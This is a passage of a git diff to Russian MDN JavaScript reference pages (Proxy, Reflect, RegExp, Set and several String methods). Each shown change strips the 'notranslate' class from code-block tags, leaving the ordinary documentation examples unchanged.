Web/JavaScript/Reference/Global_Objects/Proxy/Proxy <p>In this example the target has two properties, <code>notProxied</code> and <code>proxied</code>. We define a handler that returns a different value for <code>proxied</code>, and lets any other accesses through to the target.</p> -<pre class="brush: js notranslate">const target = { +<pre class="brush: js">const target = { notProxied: "original value", proxied: "original value" }; diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/set/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/set/index.html index 7c1eade6a7..2f1d58fa1b 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/proxy/set/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/set/index.html @@ -18,7 +18,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">var p = new Proxy(target, { +<pre class="brush: js">var p = new Proxy(target, { set: function(target, property, value, receiver) { } }); @@ -82,7 +82,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set <p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Следующий код перехватывает установку значения свойству</span></span></span><span lang="ru"><span>.</span></span></p> -<pre class="brush: js notranslate">var p = new Proxy({}, { +<pre class="brush: js">var p = new Proxy({}, { set: function(target, prop, value, receiver) { target[prop] = value console.log('property set: ' + prop + ' = ' + value) diff --git a/files/ru/web/javascript/reference/global_objects/reflect/index.html b/files/ru/web/javascript/reference/global_objects/reflect/index.html index 1764ba8aac..62463ed859 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/index.html @@ -50,7 +50,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect <h3 id="Проверка_наличия_конкретных_свойств_у_объекта">Проверка наличия конкретных свойств у объекта</h3> -<pre class="brush: js notranslate">const duck = { +<pre class="brush: js">const duck = { name: 'Maurice', color: 'white', greeting: function() { @@ -65,12 +65,12 @@ Reflect.has(duck, 'haircut'); <h3 id="Возврат_собственных_ключей_объекта">Возврат собственных ключей объекта</h3> -<pre class="brush: js notranslate">Reflect.ownKeys(duck); +<pre class="brush: js">Reflect.ownKeys(duck); // [ "name", "color", "greeting" ]</pre> <h3 id="Добавление_нового_свойства_в_объект">Добавление нового свойства в объект</h3> -<pre class="brush: js notranslate">Reflect.set(duck, 'eyes', 'black'); +<pre class="brush: js">Reflect.set(duck, 'eyes', 'black'); // вернётся "true" если вызов успешен // объект "duck" теперь содержит свойство "eyes" со значением "black"</pre> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/index.html b/files/ru/web/javascript/reference/global_objects/regexp/index.html index a6eb782e72..601b6d84ed 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp <p>Возможны как литеральная запись, так и запись через конструктор:</p> -<pre class="syntaxbox notranslate"><code>/<var>pattern</var>/<var>flags</var> +<pre class="syntaxbox"><code>/<var>pattern</var>/<var>flags</var> new RegExp(<var>pattern</var>, <var>flags</var>)</code> </pre> @@ -56,7 +56,7 @@ new RegExp(<var>pattern</var>, <var>flags</var>)</code> <p>Существует два способа создания объекта <code>RegExp</code>: литеральная запись и использование конструктора. При записи строк параметры в литеральной записи не используют символы кавычек, в то время как параметры функции-конструктора используют кавычки. Так что следующие выражения создают одинаковые регулярные выражения:</p> -<pre class="brush: js notranslate">/ab+c/i; +<pre class="brush: js">/ab+c/i; new RegExp('ab+c', 'i'); </pre> @@ -66,7 +66,7 @@ new RegExp('ab+c', 'i'); <p>При использовании функции-конструктора необходимо использовать обычные правила экранирования в строках (предварять специальные символы символом обратного слеша «\»). Например, следующие выражения эквивалентны:</p> -<pre class="brush: js notranslate">var re = /\w+/; +<pre class="brush: js">var re = /\w+/; var re = new RegExp('\\w+'); </pre> @@ -456,7 +456,7 @@ var re = new RegExp('\\w+'); <p>Следующий скрипт использует метод {{jsxref("String.prototype.replace()", "replace()")}} экземпляра строки {{jsxref("Global_Objects/String", "String")}} для сопоставления с именем в формате <em>имя фамилия</em> и выводит его в формате <em>фамилия, имя</em>. В тесте замены скрипт использует заменители <code>$1</code> и <code>$2</code>, которые заменяются на результаты соответствующих сопоставившихся подгрупп регулярного выражения.</p> -<pre class="brush: js notranslate">var re = /(\w+)\s(\w+)/; +<pre class="brush: js">var re = /(\w+)\s(\w+)/; var str = 'John Smith'; var newstr = str.replace(re, '$2, $1'); console.log(newstr); @@ -474,7 +474,7 @@ console.log(newstr); <p>Символы конца строки различаются на различных платформах (Unix, Windows и так далее). Разбиение строк из этого примера работает на всех платформах.</p> -<pre class="brush: js notranslate">var text = 'Некоторый текст\nЕщё текст\r\nИ ещё\rЭто конец'; +<pre class="brush: js">var text = 'Некоторый текст\nЕщё текст\r\nИ ещё\rЭто конец'; var lines = text.split(/\r\n|\r|\n/); console.log(lines); // выведет [ 'Некоторый текст', 'Ещё текст', 'И ещё', 'Это конец' ] </pre> @@ -483,7 +483,7 @@ console.log(lines); // выведет [ 'Некоторый текст', 'Ещё <h3 id="Example_Using_regular_expression_on_multiple_lines">Пример: использование регулярных выражений на нескольких строках</h3> -<pre class="brush: js notranslate">var s = 'Please yes\nmake my day!'; +<pre class="brush: js">var s = 'Please yes\nmake my day!'; s.match(/yes.*day/); // Вернёт null s.match(/yes[^]*day/); @@ -494,7 +494,7 @@ s.match(/yes[^]*day/); <p>Этот пример демонстрирует, как можно использовать флаг «липучести» регулярных выражений для сопоставления с отдельными строками многострочного ввода.</p> -<pre class="brush: js notranslate">var text = 'Первая строка\nВторая строка'; +<pre class="brush: js">var text = 'Первая строка\nВторая строка'; var regex = /(\S+) строка\n?/y; var match = regex.exec(text); @@ -511,7 +511,7 @@ console.log(match3 === null); // напечатает 'true' <p>Во время выполнения можно проверить, поддерживается ли флаг «липучести», при помощи блока <code>try { … } catch { … }</code>. Для этого надо использовать либо выражение с <code>eval(…)</code>, либо конструктор <code>RegExp(<var>строка-регулярки</var>, <var>строка-с-флагами</var>)</code> (поскольку нотация <code>/<var>регулярка</var>/<var>флаги</var></code> обрабатывается во время компиляции, исключение будет выброшено до того, как выполнение достигнет блока <code>catch</code>). Например:</p> -<pre class="brush: js notranslate">var supports_sticky; +<pre class="brush: js">var supports_sticky; try { RegExp('', 'y'); supports_sticky = true; } catch(e) { supports_sticky = false; } console.log(supports_sticky); // напечатает 'true' @@ -521,7 +521,7 @@ console.log(supports_sticky); // напечатает 'true' <p>Как уже сказано выше, символьные классы <code>\w</code> и <code>\W</code> сопоставляются только с базовыми символами ASCII; то есть, с символами от «a» до «z», от «A» до «Z», от «0» до «9» и символом «_». Для сопоставления с символами из других языков, например, с кириллическими или иврита, используйте форму <code>\uhhhh</code>, где «hhhh» — это значение символа Юникода, записанное в шестнадцатеричной форме. Этот пример демонстрирует, как можно выделить символы Юникода, составляющие слова.</p> -<pre class="brush: js notranslate">var text = 'Образец text на русском языке'; +<pre class="brush: js">var text = 'Образец text на русском языке'; var regex = /[\u0400-\u04FF]+/g; var match = regex.exec(text); @@ -539,7 +539,7 @@ console.log(regex.lastIndex); // напечатает '15' <h3 id="Example_Extracting_subdomain_name_from_URL">Пример: извлечение имени поддомена из URL</h3> -<pre class="brush: js notranslate">var url = 'http://xxx.domain.com'; +<pre class="brush: js">var url = 'http://xxx.domain.com'; console.log(/[^.]+/.exec(url)[0].substr(7)); // напечатает 'xxx' </pre> @@ -578,7 +578,7 @@ console.log(/[^.]+/.exec(url)[0].substr(7)); // напечатает 'xxx' <p>Начиная с Gecko 34 {{geckoRelease(34)}}, в случае захвата группы с квантификаторами, предотвращающими появление группы в результате сопоставления, сопоставившийся текст для захваченной группы теперь имеет значение <code>undefined</code> вместо пустой строки:</p> -<pre class="brush: js notranslate">// Firefox 33 или более ранние +<pre class="brush: js">// Firefox 33 или более ранние 'x'.replace(/x(.)?/g, function(m, group) { console.log("'group:" + group + "'"); }); // 'group:' diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html index 89551d517b..fd3232f351 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>RegExp</var>.lastMatch +<pre class="syntaxbox"><var>RegExp</var>.lastMatch RegExp['$&'] </pre> @@ -25,7 +25,7 @@ RegExp['$&'] <h3 id="Использование_lastMatch_и">Использование <code>lastMatch</code> и <code>$&</code></h3> -<pre class="brush: js notranslate">var re = /hi/g; +<pre class="brush: js">var re = /hi/g; re.test('hi there!'); RegExp.lastMatch; // "hi" RegExp['$&']; // "hi" diff --git a/files/ru/web/javascript/reference/global_objects/set/set/index.html b/files/ru/web/javascript/reference/global_objects/set/set/index.html index 8febad1cee..2720aafa80 100644 --- a/files/ru/web/javascript/reference/global_objects/set/set/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/set/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">new Set([<var>iterable</var>])</pre> +<pre class="syntaxbox">new Set([<var>iterable</var>])</pre> <h3 id="Параметры">Параметры</h3> @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set <h3 id="Использование_объекта_Set">Использование объекта Set</h3> -<pre class="brush: js notranslate">let mySet = new Set() +<pre class="brush: js">let mySet = new Set() mySet.add(1) // Set [ 1 ] mySet.add(5) // Set [ 1, 5 ] diff --git a/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html b/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html index 9b26c886e7..203c8a97f0 100644 --- a/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html @@ -22,13 +22,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/@@iterator <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>string</var>[Symbol.iterator]</code></pre> +<pre class="syntaxbox"><code><var>string</var>[Symbol.iterator]</code></pre> <h2 id="Examples">Примеры</h2> <h3 id="Example_Using_.5B.40.40iterator.5D">Пример: использование метода <code>[@@iterator]()</code></h3> -<pre class="brush:js notranslate">var string = 'A\uD835\uDC68'; +<pre class="brush:js">var string = 'A\uD835\uDC68'; var strIter = string[Symbol.iterator](); @@ -38,7 +38,7 @@ console.log(strIter.next().value); // "\uD835\uDC68" <h3 id="Example_Using_.5B.40.40iterator.5D_with_for..of">Пример: использование метода <code>[@@iterator]()</code> вместе с циклом <code>for..of</code></h3> -<pre class="brush:js notranslate">var string = 'A\uD835\uDC68B\uD835\uDC69C\uD835\uDC6A'; +<pre class="brush:js">var string = 'A\uD835\uDC68B\uD835\uDC69C\uD835\uDC6A'; for (var v of string) { console.log(v); diff --git a/files/ru/web/javascript/reference/global_objects/string/endswith/index.html b/files/ru/web/javascript/reference/global_objects/string/endswith/index.html index 1fa53bd180..fe4795f959 100644 --- a/files/ru/web/javascript/reference/global_objects/string/endswith/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/endswith/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>str</var>.endsWith(<var>searchString</var>[, <var>length</var>])</code></pre> +<pre class="syntaxbox"><code><var>str</var>.endsWith(<var>searchString</var>[, <var>length</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith <h3 id="Example_Using_endsWith">Пример: использование метода <code>endsWith()</code></h3> -<pre class="brush: js notranslate">var str = 'Быть или не быть, вот в чём вопрос.'; +<pre class="brush: js">var str = 'Быть или не быть, вот в чём вопрос.'; console.log(str.endsWith('вопрос.')); // true console.log(str.endsWith('быть')); // false @@ -51,7 +51,7 @@ console.log(str.endsWith('быть', 16)); // true <p>Этот метод был добавлен к спецификации ECMAScript 6 и может быть доступен ещё не во всех реализациях JavaScript. Однако, вы можете легко эмулировать этот метод при помощи следующего кода:</p> -<pre class="brush: js notranslate">if (!String.prototype.endsWith) { +<pre class="brush: js">if (!String.prototype.endsWith) { Object.defineProperty(String.prototype, 'endsWith', { value: function(searchString, position) { var subjectString = this.toString(); diff --git a/files/ru/web/javascript/reference/global_objects/string/index.html b/files/ru/web/javascript/reference/global_objects/string/index.html index 5db7b5e416..80c7293c4d 100644 --- a/files/ru/web/javascript/reference/global_objects/string/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String <p>Строковые литералы могут быть следующих форм:</p> -<pre class="syntaxbox notranslate"><code>'строка текста' +<pre class="syntaxbox"><code>'строка текста' "строка текста" "中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ்" </code></pre> @@ -84,7 +84,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String <p>Либо можно использовать глобальный объект <code>String</code> напрямую:</p> -<pre class="syntaxbox notranslate"><code>String(thing) +<pre class="syntaxbox"><code>String(thing) new String(thing) </code></pre> @@ -103,12 +103,12 @@ new String(thing) <p>Существует два способа добраться до конкретного символа в строке. В первом способе используется метод {{jsxref("String.prototype.charAt()", "charAt()")}}:</p> -<pre class="brush: js notranslate">return 'кот'.charAt(1); // вернёт "о" +<pre class="brush: js">return 'кот'.charAt(1); // вернёт "о" </pre> <p>Другим способом (введённым в ECMAScript 5) является рассмотрение строки как массивоподобного объекта, в котором символы имеют соответствующие числовые индексы:</p> -<pre class="brush: js notranslate">return 'кот'[1]; // вернёт "о" +<pre class="brush: js">return 'кот'[1]; // вернёт "о" </pre> <p>При доступе к символам посредством нотации с квадратными скобками, попытка удалить символ, или присвоить значение числовому свойству закончится неудачей, поскольку эти свойства являются незаписываемыми и ненастраиваемыми. Смотрите документацию по методу {{jsxref("Object.defineProperty()")}} для дополнительной информации.</p> @@ -117,7 +117,7 @@ new String(thing) <p>Разработчики на C имеют для сравнения строк функцию <code>strcmp()</code>. В JavaScript вы просто используете <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B_%D1%81%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F">операторы меньше и больше</a>:</p> -<pre class="brush: js notranslate">var a = 'a'; +<pre class="brush: js">var a = 'a'; var b = 'b'; if (a < b) { // true print(a + ' меньше чем ' + b); @@ -136,7 +136,7 @@ if (a < b) { // true <p>Строковые литералы (обозначаемые двойными или одинарными кавычками) и строки, возвращённые вызовом <code>String</code> в неконструкторном контексте (то есть, без использования ключевого слова {{jsxref("Operators/new", "new")}}) являются строковыми примитивами. JavaScript автоматически преобразует примитивы в объекты <code>String</code>, так что на строковых примитивах возможно использовать методы объекта <code>String</code>. В контекстах, когда на примитивной строке вызывается метод или происходит поиск свойства, JavaScript автоматически оборачивает строковый примитив объектом и вызывает на нём метод или ищет в нём свойство.</p> -<pre class="brush: js notranslate">var s_prim = 'foo'; +<pre class="brush: js">var s_prim = 'foo'; var s_obj = new String(s_prim); console.log(typeof s_prim); // выведет 'string' @@ -145,7 +145,7 @@ console.log(typeof s_obj); // выведет 'object' <p>Строковые примитивы и объекты <code>String</code> также дают разные результаты при использовании глобальной функции {{jsxref("Global_Objects/eval", "eval()")}}. Примитивы, передаваемые в <code>eval()</code>, трактуются как исходный код; объекты же <code>String</code> трактуются так же, как и все остальные объекты, а именно: возвращается сам объект. Например:</p> -<pre class="brush: js notranslate">var s1 = '2 + 2'; // создаёт строковый примитив +<pre class="brush: js">var s1 = '2 + 2'; // создаёт строковый примитив var s2 = new String('2 + 2'); // создаёт объект String console.log(eval(s1)); // выведет число 4 console.log(eval(s2)); // выведет строку '2 + 2' @@ -155,7 +155,7 @@ console.log(eval(s2)); // выведет строку '2 + 2' <p>Объект <code>String</code> также всегда может быть преобразован в его примитивный аналог при помощи метода {{jsxref("String.prototype.valueOf()", "valueOf()")}}.</p> -<pre class="brush: js notranslate">console.log(eval(s2.valueOf())); // выведет число 4 +<pre class="brush: js">console.log(eval(s2.valueOf())); // выведет число 4 </pre> <div class="note"><strong>Примечание:</strong> для того, чтобы узнать больше о другом возможном подходе к строкам в JavaScript, прочитайте статью о <a href="/ru/Add-ons/Code_snippets/StringView"><code>StringView</code> — C-подобном представлении строк на основе типизированных массивов</a>.</div> @@ -186,7 +186,7 @@ console.log(eval(s2)); // выведет строку '2 + 2' <p>Методы экземпляров <code>String</code> также доступны в Firefox как часть JavaScript 1.6 (который не является частью стандарта ECMAScript) на объекте <code>String</code>, что позволяет применять эти методы к любому объекту:</p> -<pre class="brush: js notranslate">var num = 15; +<pre class="brush: js">var num = 15; console.log(String.replace(num, /5/, '2')); </pre> @@ -194,7 +194,7 @@ console.log(String.replace(num, /5/, '2')); <p>Следующая прослойка позволяет использовать их во всех браузерах:</p> -<pre class="brush: js notranslate">/*globals define*/ +<pre class="brush: js">/*globals define*/ // Предполагаем, что все требуемые методы экземпляров String уже присутствуют // (для них так же можно использовать полифилы, если их нет) (function() { @@ -249,7 +249,7 @@ console.log(String.replace(num, /5/, '2')); <p>Объект <code>String</code> можно использовать как «безопасную» альтернативу методу {{jsxref("String.prototype.toString()", "toString()")}}, так как хотя он обычно и вызывает соответствующий метод <code>toString()</code>, он также работает и для значений {{jsxref("Global_Objects/null", "null")}} и {{jsxref("Global_Objects/undefined", "undefined")}}. Например:</p> -<pre class="brush: js notranslate">var outputStrings = []; +<pre class="brush: js">var outputStrings = []; for (var i = 0, n = inputValues.length; i < n; ++i) { outputStrings.push(String(inputValues[i])); } diff --git a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html index 1ffad309c2..f314d2f18c 100644 --- a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>str</var>.matchAll(<var>regexp</var>)</pre> +<pre class="syntaxbox"><var>str</var>.matchAll(<var>regexp</var>)</pre> <h3 id="Параметры">Параметры</h3> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll <p>До добавления метода <code>matchAll</code> в JavaScript, можно было использовать метод <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">regexp.exec</a> (и регулярные выражения с флагом <code>/g</code> ) в цикле для получения доступа к совпадениям:</p> -<pre class="brush: js notranslate">const regexp = RegExp('foo*','g'); +<pre class="brush: js">const regexp = RegExp('foo*','g'); const str = 'table football, foosball'; while ((matches = regexp.exec(str)) !== null) { @@ -52,7 +52,7 @@ while ((matches = regexp.exec(str)) !== null) { <p>С появлением <code>matchAll</code>, нет необходимости использовать цикл <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> и метод <code>exec</code> с флагом <code>/g</code>.<br> Используя вместо этого метод <code>matchAll</code>, вы получаете итератор, который вы можете использовать более удобно с конструкциями <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">array spread</a>, или {{jsxref("Array.from()")}} :</p> -<pre class="brush: js notranslate">const regexp = RegExp('foo*','g'); +<pre class="brush: js">const regexp = RegExp('foo*','g'); const str = 'table football, foosball'; let matches = str.matchAll(regexp); @@ -74,7 +74,7 @@ Array.from(matches, m => m[0]); <p>Ещё одна веская причина использовать <code>matchAll</code> это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с глобальным флагом <code>/g</code>:</p> -<pre class="brush: js notranslate">var regexp = /t(e)(st(\d?))/g; +<pre class="brush: js">var regexp = /t(e)(st(\d?))/g; var str = 'test1test2'; str.match(regexp); @@ -82,7 +82,7 @@ str.match(regexp); <p>С <code>matchAll</code> у вас появляется к ним доступ:</p> -<pre class="brush: js notranslate">let array = [...str.matchAll(regexp)]; +<pre class="brush: js">let array = [...str.matchAll(regexp)]; array[0]; // ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4] diff --git a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html index 318e9a30c3..3c4ce6551f 100644 --- a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">const newStr = <var>str</var>.replaceAll(<var>regexp</var>|<var>substr</var>, <var>newSubstr</var>|<var>function</var>) +<pre class="syntaxbox">const newStr = <var>str</var>.replaceAll(<var>regexp</var>|<var>substr</var>, <var>newSubstr</var>|<var>function</var>) </pre> <div class="blockIndicator note"> @@ -119,20 +119,20 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <h3 id="Using_replaceAll">Using replaceAll</h3> -<pre class="brush: js notranslate">'aabbcc'.replaceAll('b', '.'); +<pre class="brush: js">'aabbcc'.replaceAll('b', '.'); // 'aa..cc'</pre> <h3 id="Non-global_regex_throws">Non-global regex throws</h3> <p>Поиск с регулярными выражениями должен быть с ("g"). Это не работает:</p> -<pre class="brush: js; example-bad notranslate">'aabbcc'.replaceAll(/b/, '.'); +<pre class="brush: js; example-bad">'aabbcc'.replaceAll(/b/, '.'); TypeError: replaceAll must be called with a global RegExp </pre> <p>Это работает:</p> -<pre class="brush: js; example-good notranslate">'aabbcc'.replaceAll(/b/g, '.'); +<pre class="brush: js; example-good">'aabbcc'.replaceAll(/b/g, '.'); "aa..cc" </pre> diff --git a/files/ru/web/javascript/reference/global_objects/string/slice/index.html b/files/ru/web/javascript/reference/global_objects/string/slice/index.html index 1750d01614..07a1f6b523 100644 --- a/files/ru/web/javascript/reference/global_objects/string/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/slice/index.html @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>str</var>.slice(<var>beginIndex</var>[, <var>endIndex</var>])</code></pre> +<pre class="syntaxbox"><code><var>str</var>.slice(<var>beginIndex</var>[, <var>endIndex</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -51,7 +51,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice <p>В следующем примере метод <code>slice()</code> используется для создания новой строки.</p> -<pre class="brush: js notranslate">let str1 = 'Приближается утро.'; +<pre class="brush: js">let str1 = 'Приближается утро.'; let str2 = str1.slice(1, 8); let str3 = str1.slice(4, -2); let str4 = str1.slice(12); @@ -67,7 +67,7 @@ console.log(str5); // ВЫВОД: "" <p>В следующем примере метод <code>slice()</code> используется вместе с отрицательными индексами.</p> -<pre class="brush: js notranslate">let str = 'Приближается утро.'; +<pre class="brush: js">let str = 'Приближается утро.'; str.slice(-3); // вернёт 'ро.' str.slice(-3, -1); // вернёт 'ро' str.slice(0, -1); // вернёт 'Приближается утро' @@ -75,15 +75,15 @@ str.slice(0, -1); // вернёт 'Приближается утро' <p>В этом примере начальным индексом считается <code>11</code>-й символ с конца строки, а конечным - <code>16</code>-й с начала.</p> -<pre class="brush: js notranslate">str.slice(-11, 16); // вернёт 'ается утр'</pre> +<pre class="brush: js">str.slice(-11, 16); // вернёт 'ается утр'</pre> <p>Здесь начальным индексом считается <code>6</code>-й символ от начала строки, а конечным - <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">7</span></font>-й с конца.</p> -<pre class="brush: js notranslate">str.slice(6, -7); // вернёт 'жаетс'</pre> +<pre class="brush: js">str.slice(6, -7); // вернёт 'жаетс'</pre> <p>В этом примере оба индекса считаются с конца строки: <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">5</span></font>-й для начального индекса, <code>1</code>-й для конечного.</p> -<pre class="brush: js notranslate">str.slice(-5, -1); // вернёт 'утро'</pre> +<pre class="brush: js">str.slice(-5, -1); // вернёт 'утро'</pre> <h2 id="Specifications">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/string/split/index.html b/files/ru/web/javascript/reference/global_objects/string/split/index.html index 984fe07e85..32eae7b9c0 100644 --- a/files/ru/web/javascript/reference/global_objects/string/split/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/split/index.html @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/split <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>str</var>.split([<var>separator</var>[, <var>limit</var>]])</code></pre> +<pre class="syntaxbox"><code><var>str</var>.split([<var>separator</var>[, <var>limit</var>]])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/split <p>В следующем примере определяется функция, которая разбивает строку на массив строк, используя указанный разделитель. После разбиения строки, функция отображает сообщения, показывающие оригинальную строку (до разбиения), используемый разделитель, количество элементов в массиве и сами эти элементы.</p> -<pre class="brush: js notranslate">function splitString(stringToSplit, separator) { +<pre class="brush: js">function splitString(stringToSplit, separator) { var arrayOfStrings = stringToSplit.split(separator); console.log('Оригинальная строка: "' + stringToSplit + '"'); @@ -68,7 +68,7 @@ splitString(monthString, comma); <p>Пример сгенерирует следующий вывод:</p> -<pre class="notranslate">Оригинальная строка: "И как хорош тот новый мир, где есть такие люди!" +<pre>Оригинальная строка: "И как хорош тот новый мир, где есть такие люди!" Разделитель: " " Массив содержит 10 элементов: И / как / хорош / тот / новый / мир, / где / есть / такие / люди! @@ -85,7 +85,7 @@ splitString(monthString, comma); <p>В следующем примере метод <code>split()</code> ищет 0 или более пробелов, за которыми следует точка с запятой, за которой снова следуют 0 или более пробелов, и, если этот шаблон найден, удаляет пробелы из строки. Переменная <code>nameList</code> является массивом, возвращённым в результате работы метода <code>split()</code>.</p> -<pre class="brush: js notranslate">var names = 'Гарри Трамп ;Фрэд Барни; Хелен Ригби ; Билл Абель ;Крис Ханд '; +<pre class="brush: js">var names = 'Гарри Трамп ;Фрэд Барни; Хелен Ригби ; Билл Абель ;Крис Ханд '; console.log(names); @@ -97,7 +97,7 @@ console.log(nameList); <p>Пример напечатает две строки; на первой строке напечатана оригинальная строчка, а на второй — получившийся массив.</p> -<pre class="notranslate">Гарри Трамп ;Фред Барни; Хелен Ригби ; Билл Абель ;Крис Ханд +<pre>Гарри Трамп ;Фред Барни; Хелен Ригби ; Билл Абель ;Крис Ханд Гарри Трамп,Фред Барни,Хелен Ригби,Билл Абель,Крис Ханд </pre> @@ -105,7 +105,7 @@ console.log(nameList); <p>В следующем примере метод <code>split()</code> ищет 0 или более пробелов в строке и возвращает первые три найденных подстроки.</p> -<pre class="brush: js notranslate">var myString = 'Привет, мир. Как дела?'; +<pre class="brush: js">var myString = 'Привет, мир. Как дела?'; var splits = myString.split(' ', 3); console.log(splits); @@ -113,14 +113,14 @@ console.log(splits); <p>Вывод скрипта будет следующим:</p> -<pre class="brush: js notranslate">Привет,,мир.,Как +<pre class="brush: js">Привет,,мир.,Как </pre> <h3 id="Example_Capturing_parentheses">Пример: захват подгрупп</h3> <p>Если параметр <code>separator</code> содержит подгруппы, сопоставившиеся результаты также будут присутствовать в возвращённом массиве.</p> -<pre class="brush: js notranslate">var myString = 'Привет 1 мир. Предложение номер 2.'; +<pre class="brush: js">var myString = 'Привет 1 мир. Предложение номер 2.'; var splits = myString.split(/(\d)/); console.log(splits); @@ -128,12 +128,12 @@ console.log(splits); <p>Вывод скрипта будет следующим:</p> -<pre class="brush: js notranslate">Привет ,1, мир. Предложение номер ,2,. +<pre class="brush: js">Привет ,1, мир. Предложение номер ,2,. </pre> <h3 id="Example_Reversing_a_String_using_split">Пример: обращение строки при помощи метода <code>split()</code></h3> -<pre class="brush: js notranslate">var str = 'фывапролд'; +<pre class="brush: js">var str = 'фывапролд'; var strReverse = str.split('').reverse().join(''); // 'длорпавыф' // split() возвращает массив, к которому применяются методы reverse() и join() </pre> diff --git a/files/ru/web/javascript/reference/global_objects/string/startswith/index.html b/files/ru/web/javascript/reference/global_objects/string/startswith/index.html index 25084d3d35..9601687858 100644 --- a/files/ru/web/javascript/reference/global_objects/string/startswith/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/startswith/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>str</var>.startsWith(<var>searchString</var>[, <var>position</var>])</code></pre> +<pre class="syntaxbox"><code><var>str</var>.startsWith(<var>searchString</var>[, <var>position</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -37,7 +37,7 @@ translation_of: 